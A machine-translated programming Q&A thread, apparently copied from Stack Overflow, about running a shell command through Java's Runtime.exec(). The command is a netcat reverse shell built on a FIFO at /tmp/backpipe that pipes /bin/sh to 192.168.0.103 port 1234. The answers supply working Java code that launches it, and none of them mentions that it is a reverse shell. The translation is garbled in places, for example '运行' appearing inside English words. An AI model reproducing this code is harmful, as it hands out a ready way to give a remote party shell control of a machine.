java Runtime.getRuntime().exec() 无法执行 运行 命令

java Runtime.getRuntime().exec() unable to run commands

我需要从 Runtime.getRuntime().exec():运行 中执行以下命令:

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

我应该以什么格式将它传递给我的 运行ning java 程序,该程序具有以下行:

Process localProcess = Runtime.getRuntime().exec(myStr);

其中 myStr 是上面我要执行的整个命令?

我已经尝试过的东西:

[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"

给我错误:

Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory

如果我只是 运行 来自终端的命令为:

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

它 运行 就像一个魅力,但不是通过 runtime.exec()。

尝试使用 ProcessBuilder 而不是 Runtime

试试这个:

Process p = new ProcessBuilder().command("bash","-c",cmd).start();

cmd 是保存您的 shell 命令的变量。


更新:

String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);

这里的工作 Java 代码说明了调用 Runtime.getRuntime().exec() 的更多方面,例如等待进程完成和捕获输出和错误流:

import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;

class Test {
    public static void dump(InputStream is) {
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;

        try {
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (Exception e) {
            System.out.println("read line threw exception");
        }
    }
    public static void run(String cmd) {
        try {
                Process p = Runtime.getRuntime().exec(cmd);
                p.waitFor();
                int status = p.exitValue();
                System.out.println("Program terminated with exit status " + status);

                if (status != 0) {
                    dump(p.getErrorStream());
                }
                else {
                    dump(p.getInputStream());
                }
            } catch (Exception e) {
                System.out.println("Caught exception");
        }
    }
};